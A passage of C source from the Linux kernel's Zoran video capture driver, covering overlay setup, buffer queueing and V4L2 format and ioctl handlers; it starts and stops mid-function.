return wait_grab_pending(zr);
}
static int setup_overlay(struct zoran_fh *fh, int on)
{
struct zoran *zr = fh->zr;
/* If there is nothing to do, return immediately */
if ((on && fh->overlay_active != ZORAN_FREE) ||
(!on && fh->overlay_active == ZORAN_FREE))
return 0;
/* check whether we're touching someone else's overlay */
if (on && zr->overlay_active != ZORAN_FREE &&
fh->overlay_active == ZORAN_FREE) {
dprintk(1,
KERN_ERR
"%s: %s - overlay is already active for another session\n",
ZR_DEVNAME(zr), __func__);
return -EBUSY;
}
if (!on && zr->overlay_active != ZORAN_FREE &&
fh->overlay_active == ZORAN_FREE) {
dprintk(1,
KERN_ERR
"%s: %s - you cannot cancel someone else's session\n",
ZR_DEVNAME(zr), __func__);
return -EPERM;
}
if (on == 0) {
zr->overlay_active = fh->overlay_active = ZORAN_FREE;
zr->v4l_overlay_active = 0;
/* When a grab is running, the video simply
* won't be switched on any more */
if (!zr->v4l_memgrab_active)
zr36057_overlay(zr, 0);
zr->overlay_mask = NULL;
} else {
if (!zr->vbuf_base || !fh->overlay_settings.is_set) {
dprintk(1,
KERN_ERR
"%s: %s - buffer or window not set\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
if (!fh->overlay_settings.format) {
dprintk(1,
KERN_ERR
"%s: %s - no overlay format set\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
zr->overlay_active = fh->overlay_active = ZORAN_LOCKED;
zr->v4l_overlay_active = 1;
zr->overlay_mask = fh->overlay_mask;
zr->overlay_settings = fh->overlay_settings;
if (!zr->v4l_memgrab_active)
zr36057_overlay(zr, 1);
/* When a grab is running, the video will be
* switched on when grab is finished */
}
/* Make sure the changes come into effect */
return wait_grab_pending(zr);
}
/* get the status of a buffer in the clients buffer queue */
static int zoran_v4l2_buffer_status(struct zoran_fh *fh,
struct v4l2_buffer *buf, int num)
{
struct zoran *zr = fh->zr;
unsigned long flags;
buf->flags = V4L2_BUF_FLAG_MAPPED;
switch (fh->map_mode) {
case ZORAN_MAP_MODE_RAW:
/* check range */
if (num < 0 || num >= fh->buffers.num_buffers ||
!fh->buffers.allocated) {
dprintk(1,
KERN_ERR
"%s: %s - wrong number or buffers not allocated\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
spin_lock_irqsave(&zr->spinlock, flags);
dprintk(3,
KERN_DEBUG
"%s: %s() - raw active=%c, buffer %d: state=%c, map=%c\n",
ZR_DEVNAME(zr), __func__,
"FAL"[fh->buffers.active], num,
"UPMD"[zr->v4l_buffers.buffer[num].state],
fh->buffers.buffer[num].map ? 'Y' : 'N');
spin_unlock_irqrestore(&zr->spinlock, flags);
buf->type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf->length = fh->buffers.buffer_size;
/* get buffer */
buf->bytesused = fh->buffers.buffer[num].bs.length;
if (fh->buffers.buffer[num].state == BUZ_STATE_DONE ||
fh->buffers.buffer[num].state == BUZ_STATE_USER) {
buf->sequence = fh->buffers.buffer[num].bs.seq;
buf->flags |= V4L2_BUF_FLAG_DONE;
buf->timestamp = fh->buffers.buffer[num].bs.timestamp;
} else {
buf->flags |= V4L2_BUF_FLAG_QUEUED;
}
if (fh->v4l_settings.height <= BUZ_MAX_HEIGHT / 2)
buf->field = V4L2_FIELD_TOP;
else
buf->field = V4L2_FIELD_INTERLACED;
break;
case ZORAN_MAP_MODE_JPG_REC:
case ZORAN_MAP_MODE_JPG_PLAY:
/* check range */
if (num < 0 || num >= fh->buffers.num_buffers ||
!fh->buffers.allocated) {
dprintk(1,
KERN_ERR
"%s: %s - wrong number or buffers not allocated\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
buf->type = (fh->map_mode == ZORAN_MAP_MODE_JPG_REC) ?
V4L2_BUF_TYPE_VIDEO_CAPTURE :
V4L2_BUF_TYPE_VIDEO_OUTPUT;
buf->length = fh->buffers.buffer_size;
/* these variables are only written after frame has been captured */
if (fh->buffers.buffer[num].state == BUZ_STATE_DONE ||
fh->buffers.buffer[num].state == BUZ_STATE_USER) {
buf->sequence = fh->buffers.buffer[num].bs.seq;
buf->timestamp = fh->buffers.buffer[num].bs.timestamp;
buf->bytesused = fh->buffers.buffer[num].bs.length;
buf->flags |= V4L2_BUF_FLAG_DONE;
} else {
buf->flags |= V4L2_BUF_FLAG_QUEUED;
}
/* which fields are these? */
if (fh->jpg_settings.TmpDcm != 1)
buf->field = fh->jpg_settings.odd_even ?
V4L2_FIELD_TOP : V4L2_FIELD_BOTTOM;
else
buf->field = fh->jpg_settings.odd_even ?
V4L2_FIELD_SEQ_TB : V4L2_FIELD_SEQ_BT;
break;
default:
dprintk(5,
KERN_ERR
"%s: %s - invalid buffer type|map_mode (%d|%d)\n",
ZR_DEVNAME(zr), __func__, buf->type, fh->map_mode);
return -EINVAL;
}
buf->memory = V4L2_MEMORY_MMAP;
buf->index = num;
buf->m.offset = buf->length * num;
return 0;
}
static int
zoran_set_norm (struct zoran *zr,
v4l2_std_id norm)
{
int on;
if (zr->v4l_buffers.active != ZORAN_FREE ||
zr->jpg_buffers.active != ZORAN_FREE) {
dprintk(1,
KERN_WARNING
"%s: %s called while in playback/capture mode\n",
ZR_DEVNAME(zr), __func__);
return -EBUSY;
}
if (!(norm & zr->card.norms)) {
dprintk(1,
KERN_ERR "%s: %s - unsupported norm %llx\n",
ZR_DEVNAME(zr), __func__, norm);
return -EINVAL;
}
if (norm == V4L2_STD_ALL) {
unsigned int status = 0;
v4l2_std_id std = 0;
decoder_call(zr, video, querystd, &std);
decoder_call(zr, core, s_std, std);
/* let changes come into effect */
ssleep(2);
decoder_call(zr, video, g_input_status, &status);
if (status & V4L2_IN_ST_NO_SIGNAL) {
dprintk(1,
KERN_ERR
"%s: %s - no norm detected\n",
ZR_DEVNAME(zr), __func__);
/* reset norm */
decoder_call(zr, core, s_std, zr->norm);
return -EIO;
}
norm = std;
}
if (norm & V4L2_STD_SECAM)
zr->timing = zr->card.tvn[2];
else if (norm & V4L2_STD_NTSC)
zr->timing = zr->card.tvn[1];
else
zr->timing = zr->card.tvn[0];
/* We switch overlay off and on since a change in the
* norm needs different VFE settings */
on = zr->overlay_active && !zr->v4l_memgrab_active;
if (on)
zr36057_overlay(zr, 0);
decoder_call(zr, core, s_std, norm);
encoder_call(zr, video, s_std_output, norm);
if (on)
zr36057_overlay(zr, 1);
/* Make sure the changes come into effect */
zr->norm = norm;
return 0;
}
static int
zoran_set_input (struct zoran *zr,
int input)
{
if (input == zr->input) {
return 0;
}
if (zr->v4l_buffers.active != ZORAN_FREE ||
zr->jpg_buffers.active != ZORAN_FREE) {
dprintk(1,
KERN_WARNING
"%s: %s called while in playback/capture mode\n",
ZR_DEVNAME(zr), __func__);
return -EBUSY;
}
if (input < 0 || input >= zr->card.inputs) {
dprintk(1,
KERN_ERR
"%s: %s - unnsupported input %d\n",
ZR_DEVNAME(zr), __func__, input);
return -EINVAL;
}
zr->input = input;
decoder_call(zr, video, s_routing,
zr->card.input[input].muxsel, 0, 0);
return 0;
}
/*
* ioctl routine
*/
static int zoran_querycap(struct file *file, void *__fh, struct v4l2_capability *cap)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
memset(cap, 0, sizeof(*cap));
strncpy(cap->card, ZR_DEVNAME(zr), sizeof(cap->card)-1);
strncpy(cap->driver, "zoran", sizeof(cap->driver)-1);
snprintf(cap->bus_info, sizeof(cap->bus_info), "PCI:%s",
pci_name(zr->pci_dev));
cap->version = KERNEL_VERSION(MAJOR_VERSION, MINOR_VERSION,
RELEASE_VERSION);
cap->capabilities = V4L2_CAP_STREAMING | V4L2_CAP_VIDEO_CAPTURE |
V4L2_CAP_VIDEO_OUTPUT | V4L2_CAP_VIDEO_OVERLAY;
return 0;
}
static int zoran_enum_fmt(struct zoran *zr, struct v4l2_fmtdesc *fmt, int flag)
{
unsigned int num, i;
for (num = i = 0; i < NUM_FORMATS; i++) {
if (zoran_formats[i].flags & flag && num++ == fmt->index) {
strncpy(fmt->description, zoran_formats[i].name,
sizeof(fmt->description) - 1);
/* fmt struct pre-zeroed, so adding '\0' not neeed */
fmt->pixelformat = zoran_formats[i].fourcc;
if (zoran_formats[i].flags & ZORAN_FORMAT_COMPRESSED)
fmt->flags |= V4L2_FMT_FLAG_COMPRESSED;
return 0;
}
}
return -EINVAL;
}
static int zoran_enum_fmt_vid_cap(struct file *file, void *__fh,
struct v4l2_fmtdesc *f)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
return zoran_enum_fmt(zr, f, ZORAN_FORMAT_CAPTURE);
}
static int zoran_enum_fmt_vid_out(struct file *file, void *__fh,
struct v4l2_fmtdesc *f)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
return zoran_enum_fmt(zr, f, ZORAN_FORMAT_PLAYBACK);
}
static int zoran_enum_fmt_vid_overlay(struct file *file, void *__fh,
struct v4l2_fmtdesc *f)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
return zoran_enum_fmt(zr, f, ZORAN_FORMAT_OVERLAY);
}
static int zoran_g_fmt_vid_out(struct file *file, void *__fh,
struct v4l2_format *fmt)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
mutex_lock(&zr->resource_lock);
fmt->fmt.pix.width = fh->jpg_settings.img_width / fh->jpg_settings.HorDcm;
fmt->fmt.pix.height = fh->jpg_settings.img_height * 2 /
(fh->jpg_settings.VerDcm * fh->jpg_settings.TmpDcm);
fmt->fmt.pix.sizeimage = zoran_v4l2_calc_bufsize(&fh->jpg_settings);
fmt->fmt.pix.pixelformat = V4L2_PIX_FMT_MJPEG;
if (fh->jpg_settings.TmpDcm == 1)
fmt->fmt.pix.field = (fh->jpg_settings.odd_even ?
V4L2_FIELD_SEQ_TB : V4L2_FIELD_SEQ_BT);
else
fmt->fmt.pix.field = (fh->jpg_settings.odd_even ?
V4L2_FIELD_TOP : V4L2_FIELD_BOTTOM);
fmt->fmt.pix.bytesperline = 0;
fmt->fmt.pix.colorspace = V4L2_COLORSPACE_SMPTE170M;
mutex_unlock(&zr->resource_lock);
return 0;
}
static int zoran_g_fmt_vid_cap(struct file *file, void *__fh,
struct v4l2_format *fmt)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
if (fh->map_mode != ZORAN_MAP_MODE_RAW)
return zoran_g_fmt_vid_out(file, fh, fmt);
mutex_lock(&zr->resource_lock);
fmt->fmt.pix.width = fh->v4l_settings.width;
fmt->fmt.pix.height = fh->v4l_settings.height;
fmt->fmt.pix.sizeimage = fh->v4l_settings.bytesperline *
fh->v4l_settings.height;
fmt->fmt.pix.pixelformat = fh->v4l_settings.format->fourcc;
fmt->fmt.pix.colorspace = fh->v4l_settings.format->colorspace;
fmt->fmt.pix.bytesperline = fh->v4l_settings.bytesperline;
if (BUZ_MAX_HEIGHT < (fh->v4l_settings.height * 2))
fmt->fmt.pix.field = V4L2_FIELD_INTERLACED;
else
fmt->fmt.pix.field = V4L2_FIELD_TOP;
mutex_unlock(&zr->resource_lock);
return 0;
}
static int zoran_g_fmt_vid_overlay(struct file *file, void *__fh,
struct v4l2_format *fmt)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
mutex_lock(&zr->resource_lock);
fmt->fmt.win.w.left = fh->overlay_settings.x;
fmt->fmt.win.w.top = fh->overlay_settings.y;
fmt->fmt.win.w.width = fh->overlay_settings.width;
fmt->fmt.win.w.height = fh->overlay_settings.height;
if (fh->overlay_settings.width * 2 > BUZ_MAX_HEIGHT)
fmt->fmt.win.field = V4L2_FIELD_INTERLACED;
else
fmt->fmt.win.field = V4L2_FIELD_TOP;
mutex_unlock(&zr->resource_lock);
return 0;
}
static int zoran_try_fmt_vid_overlay(struct file *file, void *__fh,
struct v4l2_format *fmt)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
mutex_lock(&zr->resource_lock);
if (fmt->fmt.win.w.width > BUZ_MAX_WIDTH)
fmt->fmt.win.w.width = BUZ_MAX_WIDTH;
if (fmt->fmt.win.w.width < BUZ_MIN_WIDTH)
fmt->fmt.win.w.width = BUZ_MIN_WIDTH;
if (fmt->fmt.win.w.height > BUZ_MAX_HEIGHT)
fmt->fmt.win.w.height = BUZ_MAX_HEIGHT;
if (fmt->fmt.win.w.height < BUZ_MIN_HEIGHT)
fmt->fmt.win.w.height = BUZ_MIN_HEIGHT;
mutex_unlock(&zr->resource_lock);
return 0;
}
static int zoran_try_fmt_vid_out(struct file *file, void *__fh,
struct v4l2_format *fmt)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
struct zoran_jpg_settings settings;
int res = 0;
if (fmt->fmt.pix.pixelformat != V4L2_PIX_FMT_MJPEG)
return -EINVAL;
mutex_lock(&zr->resource_lock);
settings = fh->jpg_settings;
/* we actually need to set 'real' parameters now */
if ((fmt->fmt.pix.height * 2) > BUZ_MAX_HEIGHT)
settings.TmpDcm = 1;
else
settings.TmpDcm = 2;
settings.decimation = 0;
if (fmt->fmt.pix.height <= fh->jpg_settings.img_height / 2)
settings.VerDcm = 2;
else
settings.VerDcm = 1;
if (fmt->fmt.pix.width <= fh->jpg_settings.img_width / 4)
settings.HorDcm = 4;
else if (fmt->fmt.pix.width <= fh->jpg_settings.img_width / 2)
settings.HorDcm = 2;
else
settings.HorDcm = 1;
if (settings.TmpDcm == 1)
settings.field_per_buff = 2;
else
settings.field_per_buff = 1;
if (settings.HorDcm > 1) {
settings.img_x = (BUZ_MAX_WIDTH == 720) ? 8 : 0;
settings.img_width = (BUZ_MAX_WIDTH == 720) ? 704 : BUZ_MAX_WIDTH;
} else {
settings.img_x = 0;
settings.img_width = BUZ_MAX_WIDTH;
}
/* check */
res = zoran_check_jpg_settings(zr, &settings, 1);
if (res)
goto tryfmt_unlock_and_return;
/* tell the user what we actually did */
fmt->fmt.pix.width = settings.img_width / settings.HorDcm;
fmt->fmt.pix.height = settings.img_height * 2 /
(settings.TmpDcm * settings.VerDcm);
if (settings.TmpDcm == 1)
fmt->fmt.pix.field = (fh->jpg_settings.odd_even ?
V4L2_FIELD_SEQ_TB : V4L2_FIELD_SEQ_BT);
else
fmt->fmt.pix.field = (fh->jpg_settings.odd_even ?
V4L2_FIELD_TOP : V4L2_FIELD_BOTTOM);
fmt->fmt.pix.sizeimage = zoran_v4l2_calc_bufsize(&settings);
fmt->fmt.pix.bytesperline = 0;
fmt->fmt.pix.colorspace = V4L2_COLORSPACE_SMPTE170M;
tryfmt_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_try_fmt_vid_cap(struct file *file, void *__fh,
struct v4l2_format *fmt)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int bpp;
int i;
if (fmt->fmt.pix.pixelformat == V4L2_PIX_FMT_MJPEG)
return zoran_try_fmt_vid_out(file, fh, fmt);
mutex_lock(&zr->resource_lock);
for (i = 0; i < NUM_FORMATS; i++)
if (zoran_formats[i].fourcc == fmt->fmt.pix.pixelformat)
break;
if (i == NUM_FORMATS) {
mutex_unlock(&zr->resource_lock);
return -EINVAL;
}
bpp = DIV_ROUND_UP(zoran_formats[i].depth, 8);
v4l_bound_align_image(
&fmt->fmt.pix.width, BUZ_MIN_WIDTH, BUZ_MAX_WIDTH, bpp == 2 ? 1 : 2,
&fmt->fmt.pix.height, BUZ_MIN_HEIGHT, BUZ_MAX_HEIGHT, 0, 0);
mutex_unlock(&zr->resource_lock);
return 0;
}
static int zoran_s_fmt_vid_overlay(struct file *file, void *__fh,
struct v4l2_format *fmt)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int res;
dprintk(3, "x=%d, y=%d, w=%d, h=%d, cnt=%d, map=0x%p\n",
fmt->fmt.win.w.left, fmt->fmt.win.w.top,
fmt->fmt.win.w.width,
fmt->fmt.win.w.height,
fmt->fmt.win.clipcount,
fmt->fmt.win.bitmap);
mutex_lock(&zr->resource_lock);
res = setup_window(fh, fmt->fmt.win.w.left, fmt->fmt.win.w.top,
fmt->fmt.win.w.width, fmt->fmt.win.w.height,
(struct v4l2_clip __user *)fmt->fmt.win.clips,
fmt->fmt.win.clipcount, fmt->fmt.win.bitmap);
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_s_fmt_vid_out(struct file *file, void *__fh,
struct v4l2_format *fmt)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
__le32 printformat = __cpu_to_le32(fmt->fmt.pix.pixelformat);
struct zoran_jpg_settings settings;
int res = 0;
dprintk(3, "size=%dx%d, fmt=0x%x (%4.4s)\n",
fmt->fmt.pix.width, fmt->fmt.pix.height,
fmt->fmt.pix.pixelformat,
(char *) &printformat);
if (fmt->fmt.pix.pixelformat != V4L2_PIX_FMT_MJPEG)
return -EINVAL;
mutex_lock(&zr->resource_lock);
if (fh->buffers.allocated) {
dprintk(1, KERN_ERR "%s: VIDIOC_S_FMT - cannot change capture mode\n",
ZR_DEVNAME(zr));
res = -EBUSY;
goto sfmtjpg_unlock_and_return;
}
settings = fh->jpg_settings;
/* we actually need to set 'real' parameters now */
if (fmt->fmt.pix.height * 2 > BUZ_MAX_HEIGHT)
settings.TmpDcm = 1;
else
settings.TmpDcm = 2;
settings.decimation = 0;
if (fmt->fmt.pix.height <= fh->jpg_settings.img_height / 2)
settings.VerDcm = 2;
else
settings.VerDcm = 1;
if (fmt->fmt.pix.width <= fh->jpg_settings.img_width / 4)
settings.HorDcm = 4;
else if (fmt->fmt.pix.width <= fh->jpg_settings.img_width / 2)
settings.HorDcm = 2;
else
settings.HorDcm = 1;
if (settings.TmpDcm == 1)
settings.field_per_buff = 2;
else
settings.field_per_buff = 1;
if (settings.HorDcm > 1) {
settings.img_x = (BUZ_MAX_WIDTH == 720) ? 8 : 0;
settings.img_width = (BUZ_MAX_WIDTH == 720) ? 704 : BUZ_MAX_WIDTH;
} else {
settings.img_x = 0;
settings.img_width = BUZ_MAX_WIDTH;
}
/* check */
res = zoran_check_jpg_settings(zr, &settings, 0);
if (res)
goto sfmtjpg_unlock_and_return;
/* it's ok, so set them */
fh->jpg_settings = settings;
map_mode_jpg(fh, fmt->type == V4L2_BUF_TYPE_VIDEO_OUTPUT);
fh->buffers.buffer_size = zoran_v4l2_calc_bufsize(&fh->jpg_settings);
/* tell the user what we actually did */
fmt->fmt.pix.width = settings.img_width / settings.HorDcm;
fmt->fmt.pix.height = settings.img_height * 2 /
(settings.TmpDcm * settings.VerDcm);
if (settings.TmpDcm == 1)
fmt->fmt.pix.field = (fh->jpg_settings.odd_even ?
V4L2_FIELD_SEQ_TB : V4L2_FIELD_SEQ_BT);
else
fmt->fmt.pix.field = (fh->jpg_settings.odd_even ?
V4L2_FIELD_TOP : V4L2_FIELD_BOTTOM);
fmt->fmt.pix.bytesperline = 0;
fmt->fmt.pix.sizeimage = fh->buffers.buffer_size;
fmt->fmt.pix.colorspace = V4L2_COLORSPACE_SMPTE170M;
sfmtjpg_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_s_fmt_vid_cap(struct file *file, void *__fh,
struct v4l2_format *fmt)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int i;
int res = 0;
if (fmt->fmt.pix.pixelformat == V4L2_PIX_FMT_MJPEG)
return zoran_s_fmt_vid_out(file, fh, fmt);
for (i = 0; i < NUM_FORMATS; i++)
if (fmt->fmt.pix.pixelformat == zoran_formats[i].fourcc)
break;
if (i == NUM_FORMATS) {
dprintk(1, KERN_ERR "%s: VIDIOC_S_FMT - unknown/unsupported format 0x%x\n",
ZR_DEVNAME(zr), fmt->fmt.pix.pixelformat);
return -EINVAL;
}
mutex_lock(&zr->resource_lock);
if ((fh->map_mode != ZORAN_MAP_MODE_RAW && fh->buffers.allocated) ||
fh->buffers.active != ZORAN_FREE) {
dprintk(1, KERN_ERR "%s: VIDIOC_S_FMT - cannot change capture mode\n",
ZR_DEVNAME(zr));
res = -EBUSY;
goto sfmtv4l_unlock_and_return;
}
if (fmt->fmt.pix.height > BUZ_MAX_HEIGHT)
fmt->fmt.pix.height = BUZ_MAX_HEIGHT;
if (fmt->fmt.pix.width > BUZ_MAX_WIDTH)
fmt->fmt.pix.width = BUZ_MAX_WIDTH;
map_mode_raw(fh);
res = zoran_v4l_set_format(fh, fmt->fmt.pix.width, fmt->fmt.pix.height,
&zoran_formats[i]);
if (res)
goto sfmtv4l_unlock_and_return;
/* tell the user the results/missing stuff */
fmt->fmt.pix.bytesperline = fh->v4l_settings.bytesperline;
fmt->fmt.pix.sizeimage = fh->v4l_settings.height * fh->v4l_settings.bytesperline;
fmt->fmt.pix.colorspace = fh->v4l_settings.format->colorspace;
if (BUZ_MAX_HEIGHT < (fh->v4l_settings.height * 2))
fmt->fmt.pix.field = V4L2_FIELD_INTERLACED;
else
fmt->fmt.pix.field = V4L2_FIELD_TOP;
sfmtv4l_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_g_fbuf(struct file *file, void *__fh,
struct v4l2_framebuffer *fb)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
memset(fb, 0, sizeof(*fb));
mutex_lock(&zr->resource_lock);
fb->base = zr->vbuf_base;
fb->fmt.width = zr->vbuf_width;
fb->fmt.height = zr->vbuf_height;
if (zr->overlay_settings.format)
fb->fmt.pixelformat = fh->overlay_settings.format->fourcc;
fb->fmt.bytesperline = zr->vbuf_bytesperline;
mutex_unlock(&zr->resource_lock);
fb->fmt.colorspace = V4L2_COLORSPACE_SRGB;
fb->fmt.field = V4L2_FIELD_INTERLACED;
fb->flags = V4L2_FBUF_FLAG_OVERLAY;
fb->capability = V4L2_FBUF_CAP_LIST_CLIPPING;
return 0;
}
static int zoran_s_fbuf(struct file *file, void *__fh,
struct v4l2_framebuffer *fb)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int i, res = 0;
__le32 printformat = __cpu_to_le32(fb->fmt.pixelformat);
for (i = 0; i < NUM_FORMATS; i++)
if (zoran_formats[i].fourcc == fb->fmt.pixelformat)
break;
if (i == NUM_FORMATS) {
dprintk(1, KERN_ERR "%s: VIDIOC_S_FBUF - format=0x%x (%4.4s) not allowed\n",
ZR_DEVNAME(zr), fb->fmt.pixelformat,
(char *)&printformat);
return -EINVAL;
}
mutex_lock(&zr->resource_lock);
res = setup_fbuffer(fh, fb->base, &zoran_formats[i], fb->fmt.width,
fb->fmt.height, fb->fmt.bytesperline);
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_overlay(struct file *file, void *__fh, unsigned int on)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int res;
mutex_lock(&zr->resource_lock);
res = setup_overlay(fh, on);
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_streamoff(struct file *file, void *__fh, enum v4l2_buf_type type);
static int zoran_reqbufs(struct file *file, void *__fh, struct v4l2_requestbuffers *req)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int res = 0;
if (req->memory != V4L2_MEMORY_MMAP) {
dprintk(2,
KERN_ERR
"%s: only MEMORY_MMAP capture is supported, not %d\n",
ZR_DEVNAME(zr), req->memory);
return -EINVAL;
}
if (req->count == 0)
return zoran_streamoff(file, fh, req->type);
mutex_lock(&zr->resource_lock);
if (fh->buffers.allocated) {
dprintk(2,
KERN_ERR
"%s: VIDIOC_REQBUFS - buffers already allocated\n",
ZR_DEVNAME(zr));
res = -EBUSY;
goto v4l2reqbuf_unlock_and_return;
}
if (fh->map_mode == ZORAN_MAP_MODE_RAW &&
req->type == V4L2_BUF_TYPE_VIDEO_CAPTURE) {
/* control user input */
if (req->count < 2)
req->count = 2;
if (req->count > v4l_nbufs)
req->count = v4l_nbufs;
/* The next mmap will map the V4L buffers */
map_mode_raw(fh);
fh->buffers.num_buffers = req->count;
if (v4l_fbuffer_alloc(fh)) {
res = -ENOMEM;
goto v4l2reqbuf_unlock_and_return;
}
} else if (fh->map_mode == ZORAN_MAP_MODE_JPG_REC ||
fh->map_mode == ZORAN_MAP_MODE_JPG_PLAY) {
/* we need to calculate size ourselves now */
if (req->count < 4)
req->count = 4;
if (req->count > jpg_nbufs)
req->count = jpg_nbufs;
/* The next mmap will map the MJPEG buffers */
map_mode_jpg(fh, req->type == V4L2_BUF_TYPE_VIDEO_OUTPUT);
fh->buffers.num_buffers = req->count;
fh->buffers.buffer_size = zoran_v4l2_calc_bufsize(&fh->jpg_settings);
if (jpg_fbuffer_alloc(fh)) {
res = -ENOMEM;
goto v4l2reqbuf_unlock_and_return;
}
} else {
dprintk(1,
KERN_ERR
"%s: VIDIOC_REQBUFS - unknown type %d\n",
ZR_DEVNAME(zr), req->type);
res = -EINVAL;
goto v4l2reqbuf_unlock_and_return;
}
v4l2reqbuf_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_querybuf(struct file *file, void *__fh, struct v4l2_buffer *buf)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int res;
mutex_lock(&zr->resource_lock);
res = zoran_v4l2_buffer_status(fh, buf, buf->index);
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_qbuf(struct file *file, void *__fh, struct v4l2_buffer *buf)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int res = 0, codec_mode, buf_type;
mutex_lock(&zr->resource_lock);
switch (fh->map_mode) {
case ZORAN_MAP_MODE_RAW:
if (buf->type != V4L2_BUF_TYPE_VIDEO_CAPTURE) {
dprintk(1, KERN_ERR
"%s: VIDIOC_QBUF - invalid buf->type=%d for map_mode=%d\n",
ZR_DEVNAME(zr), buf->type, fh->map_mode);
res = -EINVAL;
goto qbuf_unlock_and_return;
}
res = zoran_v4l_queue_frame(fh, buf->index);
if (res)
goto qbuf_unlock_and_return;
if (!zr->v4l_memgrab_active && fh->buffers.active == ZORAN_LOCKED)
zr36057_set_memgrab(zr, 1);
break;
case ZORAN_MAP_MODE_JPG_REC:
case ZORAN_MAP_MODE_JPG_PLAY:
if (fh->map_mode == ZORAN_MAP_MODE_JPG_PLAY) {
buf_type = V4L2_BUF_TYPE_VIDEO_OUTPUT;
codec_mode = BUZ_MODE_MOTION_DECOMPRESS;
} else {
buf_type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
codec_mode = BUZ_MODE_MOTION_COMPRESS;
}
if (buf->type != buf_type) {
dprintk(1, KERN_ERR
"%s: VIDIOC_QBUF - invalid buf->type=%d for map_mode=%d\n",
ZR_DEVNAME(zr), buf->type, fh->map_mode);
res = -EINVAL;
goto qbuf_unlock_and_return;
}
res = zoran_jpg_queue_frame(fh, buf->index, codec_mode);
if (res != 0)
goto qbuf_unlock_and_return;
if (zr->codec_mode == BUZ_MODE_IDLE &&
fh->buffers.active == ZORAN_LOCKED)
zr36057_enable_jpg(zr, codec_mode);
break;
default:
dprintk(1, KERN_ERR
"%s: VIDIOC_QBUF - unsupported type %d\n",
ZR_DEVNAME(zr), buf->type);
res = -EINVAL;
break;
}
qbuf_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_dqbuf(struct file *file, void *__fh, struct v4l2_buffer *buf)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int res = 0, buf_type, num = -1; /* compiler borks here (?) */
mutex_lock(&zr->resource_lock);
switch (fh->map_mode) {
case ZORAN_MAP_MODE_RAW:
if (buf->type != V4L2_BUF_TYPE_VIDEO_CAPTURE) {
dprintk(1, KERN_ERR
"%s: VIDIOC_QBUF - invalid buf->type=%d for map_mode=%d\n",
ZR_DEVNAME(zr), buf->type, fh->map_mode);
res = -EINVAL;
goto dqbuf_unlock_and_return;
}
num = zr->v4l_pend[zr->v4l_sync_tail & V4L_MASK_FRAME];
if (file->f_flags & O_NONBLOCK &&
zr->v4l_buffers.buffer[num].state != BUZ_STATE_DONE) {
res = -EAGAIN;
goto dqbuf_unlock_and_return;
}
res = v4l_sync(fh, num);
if (res)
goto dqbuf_unlock_and_return;
zr->v4l_sync_tail++;
res = zoran_v4l2_buffer_status(fh, buf, num);
break;
case ZORAN_MAP_MODE_JPG_REC:
case ZORAN_MAP_MODE_JPG_PLAY:
{
struct zoran_sync bs;
if (fh->map_mode == ZORAN_MAP_MODE_JPG_PLAY)
buf_type = V4L2_BUF_TYPE_VIDEO_OUTPUT;
else
buf_type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
if (buf->type != buf_type) {
dprintk(1, KERN_ERR
"%s: VIDIOC_QBUF - invalid buf->type=%d for map_mode=%d\n",
ZR_DEVNAME(zr), buf->type, fh->map_mode);
res = -EINVAL;
goto dqbuf_unlock_and_return;
}
num = zr->jpg_pend[zr->jpg_que_tail & BUZ_MASK_FRAME];
if (file->f_flags & O_NONBLOCK &&
zr->jpg_buffers.buffer[num].state != BUZ_STATE_DONE) {
res = -EAGAIN;
goto dqbuf_unlock_and_return;
}
bs.frame = 0; /* suppress compiler warning */
res = jpg_sync(fh, &bs);
if (res)
goto dqbuf_unlock_and_return;
res = zoran_v4l2_buffer_status(fh, buf, bs.frame);
break;
}
default:
dprintk(1, KERN_ERR
"%s: VIDIOC_DQBUF - unsupported type %d\n",
ZR_DEVNAME(zr), buf->type);
res = -EINVAL;
break;
}
dqbuf_unlock_and_return:
mutex_unlock(&zr->resource_lock);
return res;
}
static int zoran_streamon(struct file *file, void *__fh, enum v4l2_buf_type type)
{
struct zoran_fh *fh = __fh;
struct zoran *zr = fh->zr;
int res = 0;
mutex_lock(&zr->resource_lock);
switch (fh->map_mode) {
case ZORAN_MAP_MODE_RAW: /* raw capture */
if (zr->v4l_buffers.active != ZORAN_ACTIVE ||
fh->buffers.active != ZORAN_ACTIVE) {
